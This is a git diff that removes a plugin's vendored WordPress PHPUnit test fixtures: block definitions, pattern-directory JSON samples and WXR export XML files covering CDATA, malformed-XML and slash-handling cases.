          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__video.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__video.server.html deleted file mode 100644 index e46e3a26..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__video.server.html +++ /dev/null @@ -1,3 +0,0 @@ - -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/hooked-block-error/block.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/hooked-block-error/block.json deleted file mode 100644 index fdbafa98..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/hooked-block-error/block.json +++ /dev/null @@ -1,9 +0,0 @@ -{ - "$schema": "https://schemas.wp.org/trunk/block.json", - "name": "tests/hooked-block-error", - "description": "A block that throws an error because it tries to hook a block to itself.", - "blockHooks": { - "tests/hooked-block-error": "before", - "tests/other-block": "after" - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block-rtl.css b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block-rtl.css deleted file mode 100644 index 2572f27a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block-rtl.css +++ /dev/null @@ -1 +0,0 @@ -/* Test CSS file - RTL version */ diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block-view.css b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block-view.css deleted file mode 100644 index 5aefdf30..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block-view.css +++ /dev/null @@ -1 +0,0 @@ -/* Test front end only CSS file */ \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block.asset.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block.asset.php deleted file mode 100644 index 792bbb6c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block.asset.php +++ /dev/null @@ -1,6 +0,0 @@ - array(), - 'version' => 'test', -); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block.css b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block.css deleted file mode 100644 index 5bbe1134..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block.css +++ /dev/null @@ -1 +0,0 @@ -/* Test CSS file */ diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block.js b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block.js deleted file mode 100644 index 0bdf0f5a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block.js +++ /dev/null @@ -1 +0,0 @@ -/* Test JavaScript file. */ diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block.json deleted file mode 100644 index 7ccaef2d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/block.json +++ /dev/null @@ -1,76 +0,0 @@ -{ - "$schema": "https://schemas.wp.org/trunk/block.json", - "apiVersion": 2, - "name": "tests/notice", - "title": "Notice", - "category": "common", - "parent": [ - "tests/group" - ], - "ancestor": [ - "tests/section" - ], - "providesContext": { - "tests/message": "message" - }, - "usesContext": [ - "groupId" - ], - "icon": "star", - "description": "Shows warning, error or success notices…", - "keywords": [ - "alert", - "message" - ], - "textdomain": "notice", - "attributes": { - "message": { - "type": "string" - } - }, - "selectors": { - "root": ".wp-block-notice" - }, - "blockHooks": { - "tests/before": "before", - "tests/after": "after", - "tests/first-child": "firstChild", - "tests/last-child": "lastChild" - }, - "supports": { - "align": true, - "lightBlockWrapper": true - }, - "styles": [ - { - "name": "default", - "label": "Default", - "isDefault": true - }, - { - "name": "other", - "label": "Other" - } - ], - "variations": [ - { - "name": "error", - "title": "Error", - "description": "Shows error.", - "keywords": [ "failure" ] - } - ], - "example": { - "attributes": { - "message": "This is a notice!" - } - }, - "editorScript": "tests-notice-editor-script", - "script": "tests-notice-script", - "viewScript": [ "tests-notice-view-script", "tests-notice-view-script-2" ], - "viewScriptModule": [ "tests-notice-view-script-module", "tests-notice-view-script-module-2" ], - "editorStyle": "tests-notice-editor-style", - "style": [ "tests-notice-style", "tests-notice-style-2" ], - "viewStyle": [ "tests-notice-view-style" ], - "render": "file:./render.php" -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/render.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/render.php deleted file mode 100644 index 12a49c1a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/render.php +++ /dev/null @@ -1 +0,0 @@ -

          >

          diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/shared-script.asset.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/shared-script.asset.php deleted file mode 100644 index d35471c7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/shared-script.asset.php +++ /dev/null @@ -1,7 +0,0 @@ - 'tests-my-shared-script', - 'dependencies' => array(), - 'version' => 'test', -); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/shared-script.js b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/shared-script.js deleted file mode 100644 index a9abbdbc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/shared-script.js +++ /dev/null @@ -1 +0,0 @@ -/* Another test JavaScript file. */ diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/variations.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/variations.php deleted file mode 100644 index bed66d95..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/notice/variations.php +++ /dev/null @@ -1,10 +0,0 @@ - 'warning', - 'title' => 'warning', - 'description' => 'Shows warning.', - 'keywords' => array( 'warning' ), - ), -); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/pattern-directory/browse-all.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/pattern-directory/browse-all.json deleted file mode 100644 index 27dca1b4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/pattern-directory/browse-all.json +++ /dev/null @@ -1,56 +0,0 @@ -[ - { - "id": 31, - "title": { "rendered": "Heading and paragraph" }, - "content": { - "rendered": "\n
          \n

          2.
          Which treats of the first sally the ingenious Don Quixote made from home

          \n\n\n\n

          These preliminaries settled, he did not care to put off any longer the execution of his design, urged on to it by the thought of all the world was losing by his delay, seeing what wrongs he intended to right, grievances to redress, injustices to repair, abuses to remove, and duties to discharge.

          \n
          \n", - "protected": false - }, - "meta": { - "spay_email": "", - "wpop_description": "A heading preceded by a chapter number, and followed by a paragraph.", - "wpop_keywords": "blog post", - "wpop_viewport_width": 1000, - "wpop_block_types": [ "core/heading" ] - }, - "category_slugs": [ "text" ], - "keyword_slugs": [ "core" ], - "pattern_content": "\n
          \n

          2.
          Which treats of the first sally the ingenious Don Quixote made from home

          \n\n\n\n

          These preliminaries settled, he did not care to put off any longer the execution of his design, urged on to it by the thought of all the world was losing by his delay, seeing what wrongs he intended to right, grievances to redress, injustices to repair, abuses to remove, and duties to discharge.

          \n
          \n" - }, - { - "id": 25, - "title": { "rendered": "Large header with a heading" }, - "content": { - "rendered": "\n
          \n

          Don Quixote

          \n
          \n", - "protected": false - }, - "meta": { - "spay_email": "", - "wpop_description": "A large hero section with an example background image and a heading in the center.", - "wpop_keywords": "header, hero", - "wpop_viewport_width": 1000, - "wpop_block_types": [] - }, - "category_slugs": [ "header" ], - "keyword_slugs": [ "core" ], - "pattern_content": "\n
          \n

          Don Quixote

          \n
          \n" - }, - { - "id": 26, - "title": { "rendered": "Large header with a heading and a button" }, - "content": { - "rendered": "\n
          \n
          \n
          \n
          \n
          \n\n\n\n
          \n
          \n\n\n\n

          Thou hast seen
          nothing yet

          \n\n\n\n\n\n\n\n
          \n
          \n\n\n\n
          \n
          \n
          \n
          \n
          \n", - "protected": false - }, - "meta": { - "spay_email": "", - "wpop_description": "A large hero section with a bright gradient background, a big heading and a filled button.", - "wpop_keywords": "call to action, hero section", - "wpop_viewport_width": 1000, - "wpop_block_types": [] - }, - "category_slugs": [ "header" ], - "keyword_slugs": [ "core" ], - "pattern_content": "\n
          \n
          \n
          \n
          \n
          \n\n\n\n
          \n
          \n\n\n\n

          Thou hast seen
          nothing yet

          \n\n\n\n\n\n\n\n
          \n
          \n\n\n\n
          \n
          \n
          \n
          \n
          \n" - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/pattern-directory/browse-category-2.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/pattern-directory/browse-category-2.json deleted file mode 100644 index f5d4b289..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/pattern-directory/browse-category-2.json +++ /dev/null @@ -1,38 +0,0 @@ -[ - { - "id": 15, - "title": { "rendered": "Three buttons" }, - "content": { - "rendered": "\n
          \n\n\n\n\n\n\n\n\n\n
          \n", - "protected": false - }, - "meta": { - "spay_email": "", - "wpop_description": "Three filled buttons with rounded corners, side by side.", - "wpop_keywords": "", - "wpop_viewport_width": 600, - "wpop_block_types": [] - }, - "category_slugs": [ "buttons" ], - "keyword_slugs": [ "core" ], - "pattern_content": "\n
          \n\n\n\n\n\n\n\n\n\n
          \n" - }, - { - "id": 5, - "title": { "rendered": "Two buttons" }, - "content": { - "rendered": "\n\n", - "protected": false - }, - "meta": { - "spay_email": "", - "wpop_description": "Two buttons, one filled and one outlined, side by side.", - "wpop_keywords": "", - "wpop_viewport_width": 500, - "wpop_block_types": [] - }, - "category_slugs": [ "buttons" ], - "keyword_slugs": [ "core" ], - "pattern_content": "\n\n" - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/pattern-directory/browse-keyword-11.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/pattern-directory/browse-keyword-11.json deleted file mode 100644 index 360dcdfb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/pattern-directory/browse-keyword-11.json +++ /dev/null @@ -1,56 +0,0 @@ -[ - { - "id": 31, - "title": { "rendered": "Heading and paragraph" }, - "content": { - "rendered": "\n
          \n

          2.
          Which treats of the first sally the ingenious Don Quixote made from home

          \n\n\n\n

          These preliminaries settled, he did not care to put off any longer the execution of his design, urged on to it by the thought of all the world was losing by his delay, seeing what wrongs he intended to right, grievances to redress, injustices to repair, abuses to remove, and duties to discharge.

          \n
          \n", - "protected": false - }, - "meta": { - "spay_email": "", - "wpop_description": "A heading preceded by a chapter number, and followed by a paragraph.", - "wpop_keywords": "", - "wpop_viewport_width": 1000, - "wpop_block_types": [] - }, - "category_slugs": [ "text" ], - "keyword_slugs": [ "core" ], - "pattern_content": "\n
          \n

          2.
          Which treats of the first sally the ingenious Don Quixote made from home

          \n\n\n\n

          These preliminaries settled, he did not care to put off any longer the execution of his design, urged on to it by the thought of all the world was losing by his delay, seeing what wrongs he intended to right, grievances to redress, injustices to repair, abuses to remove, and duties to discharge.

          \n
          \n" - }, - { - "id": 25, - "title": { "rendered": "Large header with a heading" }, - "content": { - "rendered": "\n
          \n

          Don Quixote

          \n
          \n", - "protected": false - }, - "meta": { - "spay_email": "", - "wpop_description": "A large hero section with an example background image and a heading in the center.", - "wpop_keywords": "", - "wpop_viewport_width": 1000, - "wpop_block_types": [] - }, - "category_slugs": [ "header" ], - "keyword_slugs": [ "core" ], - "pattern_content": "\n
          \n

          Don Quixote

          \n
          \n" - }, - { - "id": 26, - "title": { "rendered": "Large header with a heading and a button" }, - "content": { - "rendered": "\n
          \n
          \n
          \n
          \n
          \n\n\n\n
          \n
          \n\n\n\n

          Thou hast seen
          nothing yet

          \n\n\n\n\n\n\n\n
          \n
          \n\n\n\n
          \n
          \n
          \n
          \n
          \n", - "protected": false - }, - "meta": { - "spay_email": "", - "wpop_description": "A large hero section with a bright gradient background, a big heading and a filled button.", - "wpop_keywords": "", - "wpop_viewport_width": 1000, - "wpop_block_types": [] - }, - "category_slugs": [ "header" ], - "keyword_slugs": [ "core" ], - "pattern_content": "\n
          \n
          \n
          \n
          \n
          \n\n\n\n
          \n
          \n\n\n\n

          Thou hast seen
          nothing yet

          \n\n\n\n\n\n\n\n
          \n
          \n\n\n\n
          \n
          \n
          \n
          \n
          \n" - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/pattern-directory/search-button.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/pattern-directory/search-button.json deleted file mode 100644 index 4a6f86de..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/pattern-directory/search-button.json +++ /dev/null @@ -1,74 +0,0 @@ -[ - { - "id": 26, - "title": { "rendered": "Large header with a heading and a button" }, - "content": { - "rendered": "\n
          \n
          \n
          \n
          \n
          \n\n\n\n
          \n
          \n\n\n\n

          Thou hast seen
          nothing yet

          \n\n\n\n\n\n\n\n
          \n
          \n\n\n\n
          \n
          \n
          \n
          \n
          \n", - "protected": false - }, - "meta": { - "spay_email": "", - "wpop_description": "A large hero section with a bright gradient background, a big heading and a filled button.", - "wpop_keywords": "", - "wpop_viewport_width": 1000, - "wpop_block_types": [] - }, - "category_slugs": [ "header" ], - "keyword_slugs": [ "core" ], - "pattern_content": "\n
          \n
          \n
          \n
          \n
          \n\n\n\n
          \n
          \n\n\n\n

          Thou hast seen
          nothing yet

          \n\n\n\n\n\n\n\n
          \n
          \n\n\n\n
          \n
          \n
          \n
          \n
          \n" - }, - { - "id": 28, - "title": { "rendered": "Three columns of text with buttons" }, - "content": { - "rendered": "\n
          \n
          \n
          \n

          Which treats of the character and pursuits of the famous Don Quixote of La Mancha.

          \n\n\n\n\n
          \n\n\n\n
          \n

          Which treats of the first sally the ingenious Don Quixote made from home.

          \n\n\n\n\n
          \n\n\n\n
          \n

          Wherein is related the droll way in which Don Quixote had himself dubbed a knight.

          \n\n\n\n\n
          \n
          \n
          \n", - "protected": false - }, - "meta": { - "spay_email": "", - "wpop_description": "Three small columns of text, each with an outlined button with rounded corners at the bottom.", - "wpop_keywords": "", - "wpop_viewport_width": 1000, - "wpop_block_types": [] - }, - "category_slugs": [ "columns" ], - "keyword_slugs": [ "core" ], - "pattern_content": "\n
          \n
          \n
          \n

          Which treats of the character and pursuits of the famous Don Quixote of La Mancha.

          \n\n\n\n\n
          \n\n\n\n
          \n

          Which treats of the first sally the ingenious Don Quixote made from home.

          \n\n\n\n\n
          \n\n\n\n
          \n

          Wherein is related the droll way in which Don Quixote had himself dubbed a knight.

          \n\n\n\n\n
          \n
          \n
          \n" - }, - { - "id": 15, - "title": { "rendered": "Three buttons" }, - "content": { - "rendered": "\n
          \n\n\n\n\n\n\n\n\n\n
          \n", - "protected": false - }, - "meta": { - "spay_email": "", - "wpop_description": "Three filled buttons with rounded corners, side by side.", - "wpop_keywords": "", - "wpop_viewport_width": 600, - "wpop_block_types": [] - }, - "category_slugs": [ "buttons" ], - "keyword_slugs": [ "core" ], - "pattern_content": "\n
          \n\n\n\n\n\n\n\n\n\n
          \n" - }, - { - "id": 5, - "title": { "rendered": "Two buttons" }, - "content": { - "rendered": "\n\n", - "protected": false - }, - "meta": { - "spay_email": "", - "wpop_description": "Two buttons, one filled and one outlined, side by side.", - "wpop_keywords": "", - "wpop_viewport_width": 500, - "wpop_block_types": [] - }, - "category_slugs": [ "buttons" ], - "keyword_slugs": [ "core" ], - "pattern_content": "\n\n" - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/crazy-cdata-escaped.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/crazy-cdata-escaped.xml deleted file mode 100644 index 4f4d80fa..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/crazy-cdata-escaped.xml +++ /dev/null @@ -1,46 +0,0 @@ - - - - 1.1 - http://wp.dev - - Hello world! - http://example.org/?p=1 - Thu, 05 Jan 2012 14:30:46 +0000 - admin - http://example.org/?p=1 - :)]]> - - 1 - 2012-01-05 14:30:46 - 2012-01-05 14:30:46 - open - open - hello-world - publish - 0 - 0 - post - - 0 - - Plain string - - - - Closing CDATA - ]]> - - - Alot of CDATA - closing ]]> - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/crazy-cdata.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/crazy-cdata.xml deleted file mode 100644 index fc7d879c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/crazy-cdata.xml +++ /dev/null @@ -1,46 +0,0 @@ - - - - 1.1 - http://wp.dev - - Hello world! - http://example.org/?p=1 - Thu, 05 Jan 2012 14:30:46 +0000 - admin - http://example.org/?p=1 - :)]]> - - 1 - 2012-01-05 14:30:46 - 2012-01-05 14:30:46 - open - open - hello-world - publish - 0 - 0 - post - - 0 - - Plain string - - - - Closing CDATA - ]]> - - - Alot of CDATA - closing ]]> - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/invalid-version-tag.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/invalid-version-tag.xml deleted file mode 100644 index fddaca43..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/invalid-version-tag.xml +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - WXR Test Data - http://localhost/ - Blog with sample content for testing - Sat, 09 Oct 2010 15:12:29 +0000 - en - abc - http://localhost/ - http://localhost/ - johnjohndoe@example.org - 1alpha - 2bar - 3beta - 4delta - 5epsilon - 6eta - 7foo - 8foo-barbar - 9gamma - 10iota - 11kappa - 12lambda - 13level-1 - 14level-2level-1 - 15level-3level-2 - 16parent - 17theta - 18uncategorized - 19zeta - 20also-level-3level-2 - 21childparent - 22clippable - 23deuterogamy - 24entablement - 25intermembral - 26masticatory - 27obligato - 28occultation - 29onion - 30pontonier - 31rooftree - 32saccule - 33salpa - 34tag-1 - 35tag-2 - 36tag-3 - 37tag-4 - 38tag-5 - 39tentage - 40post_taxbieup - 41post_taxblah - 42post_taxdigeut - 43post_taxgiyeok - 44post_taxhalb - 45post_taxmieum - 46post_taxnieun - 47post_taxparent-2 - 48post_taxrieul - 49post_taxsiot - 50post_taxtax-1 - 51post_taxtax-2 - 52post_taxblah-halbhalb - 53post_taxchild-parent-2parent-2 - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/malformed.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/malformed.xml deleted file mode 100644 index 06a7076f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/malformed.xml +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - WXR Test Data - http://localhost/ - Blog with sample content for testing - Sat, 09 Oct 2010 15:12:29 +0000 - en - abc - http://localhost/ - http://localhost/ - johnjohndoe@example.org - 1alpha - 2bar - 3beta - 4delta - 5epsilon - 6eta - 7foo - 8foo-barbar - 9gamma - 10iota - 11kappa - 12lambda - 13level-1 - 14level-2level-1 - 15level-3level-2 - 16parent - 17theta - 18uncategorized - 19zeta - 20also-level-3level-2 - 21childparent - 22clippable - 23deuterogamy - 24entablement - 25intermembral - 26masticatory - 27obligato - 28occultation - 29onion - 30pontonier - 31rooftree - 32saccule - 33salpa - 34tag-1 - 35tag-2 - 36tag-3 - 37tag-4 - 38tag-5 - 39tentage - 40post_taxbieup - 41post_taxblah - 42post_taxdigeut - 43post_taxgiyeok - 44post_taxhalb - 45post_taxmieum - 46post_taxnieun - 47post_taxparent-2 - 48post_taxrieul - 49post_taxsiot - 50post_taxtax-1 - 51post_taxtax-2 - 52post_taxblah-halbhalb - 53post_taxchild-parent-2parent-2 - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/missing-version-tag.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/missing-version-tag.xml deleted file mode 100644 index 5bd233e3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/missing-version-tag.xml +++ /dev/null @@ -1,90 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - WXR Test Data - http://localhost/ - Blog with sample content for testing - Sat, 09 Oct 2010 15:12:29 +0000 - en - http://localhost/ - http://localhost/ - johnjohndoe@example.org - 1alpha - 2bar - 3beta - 4delta - 5epsilon - 6eta - 7foo - 8foo-barbar - 9gamma - 10iota - 11kappa - 12lambda - 13level-1 - 14level-2level-1 - 15level-3level-2 - 16parent - 17theta - 18uncategorized - 19zeta - 20also-level-3level-2 - 21childparent - 22clippable - 23deuterogamy - 24entablement - 25intermembral - 26masticatory - 27obligato - 28occultation - 29onion - 30pontonier - 31rooftree - 32saccule - 33salpa - 34tag-1 - 35tag-2 - 36tag-3 - 37tag-4 - 38tag-5 - 39tentage - 40post_taxbieup - 41post_taxblah - 42post_taxdigeut - 43post_taxgiyeok - 44post_taxhalb - 45post_taxmieum - 46post_taxnieun - 47post_taxparent-2 - 48post_taxrieul - 49post_taxsiot - 50post_taxtax-1 - 51post_taxtax-2 - 52post_taxblah-halbhalb - 53post_taxchild-parent-2parent-2 - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/slashes.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/slashes.xml deleted file mode 100644 index 3e073d81..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/slashes.xml +++ /dev/null @@ -1,77 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - trunk - http://localhost/ - trunk - Tue, 18 Jan 2011 08:06:21 +0000 - en - 1.1 - http://localhost/ - http://localhost/ - - 1adminlocal@host.null - - 8alpha - 33tag1 - - http://wordpress.org/?v=3.1-RC2-17315 - - - Hello world! - http://localhost/?p=1 - Tue, 18 Jan 2011 07:40:14 +0000 - author - http://localhost/?p=1 - - - - 1 - 2011-01-18 07:40:14 - 2011-01-18 07:40:14 - open - open - hello-world - publish - 0 - 0 - post - - 0 - - - Post by - - - - _edit_last - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/small-export.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/small-export.xml deleted file mode 100644 index 20b3de93..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/small-export.xml +++ /dev/null @@ -1,447 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - trunk - http://localhost/ - Just another WordPress site - Tue, 18 Jan 2011 08:06:21 +0000 - en - 1.1 - http://localhost/ - http://localhost/ - - 1adminlocal@host.null - 2editoreditor@example.org - 3authorauthor@example.org - - 8alpha - 4bar - 9beta - 29chi - 11delta - 12epsilon - 14eta - 3foo - 5foo-barbar - 10gamma - 16iota - 17kappa - 18lambda - 19mu - 20nu - 31omega - 22omicron - 28phi - 23pi - 30psi - 24rho - 25sigma - 26tau - 15theta - 1uncategorized - 32unused-category - 27upsilon - 21xi - 13zeta - 7eternity - 33tag1 - 34tag2 - 35tag3 - - http://wordpress.org/?v=3.1-RC2-17315 - - - Hello world! - http://localhost/?p=1 - Tue, 18 Jan 2011 07:40:14 +0000 - author - http://localhost/?p=1 - - - - 1 - 2011-01-18 07:40:14 - 2011-01-18 07:40:14 - open - open - hello-world - publish - 0 - 0 - post - - 0 - - - Post by - - - - _edit_last - - - - 1 - - - http://wordpress.org/ - - 2011-01-18 07:40:14 - 2011-01-18 07:40:14 - To delete a comment, just log in and view the post's comments. There you will have the option to edit or delete them.]]> - 1 - - 0 - 0 - - - - Sample Page - http://localhost/?page_id=2 - Tue, 18 Jan 2011 07:40:14 +0000 - admin - http://localhost/?page_id=2 - - Hi there! I'm a bike messenger by day, aspiring actor by night, and this is my blog. I live in Los Angeles, have a great dog named Jack, and I like piña coladas. (And gettin' caught in the rain.) - -...or something like this: - -
          The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickies to the public ever since. Located in Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.
          - -As a new WordPress user, you should go to your dashboard to delete this page and create new pages for your content. Have fun!]]>
          - - 2 - 2011-01-18 07:40:14 - 2011-01-18 07:40:14 - open - open - sample-page - publish - 0 - 0 - page - - 0 - - _wp_page_template - - -
          - - Child Page - http://localhost/?page_id=4 - Tue, 18 Jan 2011 07:45:50 +0000 - admin - http://localhost/?page_id=4 - - - - 4 - 2011-01-18 07:45:50 - 2011-01-18 07:45:50 - open - open - child-page - publish - 6 - 0 - page - - 0 - - _edit_last - - - - _wp_page_template - - - - - Parent Page - http://localhost/?page_id=6 - Tue, 18 Jan 2011 07:46:09 +0000 - admin - http://localhost/?page_id=6 - - - - 6 - 2011-01-18 07:46:09 - 2011-01-18 07:46:09 - open - open - parent-page - publish - 0 - 0 - page - - 0 - - _edit_last - - - - _wp_page_template - - - - - Draft Page - http://localhost/?page_id=9 - Wed, 30 Nov -0001 00:00:00 +0000 - admin - http://localhost/?page_id=9 - - - - 9 - 2011-01-18 07:46:29 - 0000-00-00 00:00:00 - open - open - - draft - 0 - 0 - page - - 0 - - _edit_last - - - - _wp_page_template - - - - - 1-col page - http://localhost/?page_id=11 - Tue, 18 Jan 2011 07:46:57 +0000 - admin - http://localhost/?page_id=11 - - - - 11 - 2011-01-18 07:46:57 - 2011-01-18 07:46:57 - open - open - 1-col-page - publish - 0 - 0 - page - - 0 - - _edit_last - - - - _wp_page_template - - - - - Private Post - http://localhost/?p=13 - Tue, 18 Jan 2011 07:47:19 +0000 - admin - http://localhost/?p=13 - - - - 13 - 2011-01-18 07:47:19 - 2011-01-18 07:47:19 - open - open - private-post - private - 0 - 0 - post - - 0 - - - - - - _edit_last - - - - - Foo-child - http://localhost/?p=15 - Tue, 18 Jan 2011 07:48:07 +0000 - editor - http://localhost/?p=15 - - - - 15 - 2011-01-18 07:48:07 - 2011-01-18 07:48:07 - open - open - foo-child - publish - 0 - 0 - post - - 0 - - - _edit_last - - - - Post by - - - - - Top-level Foo - http://localhost/?p=17 - Tue, 18 Jan 2011 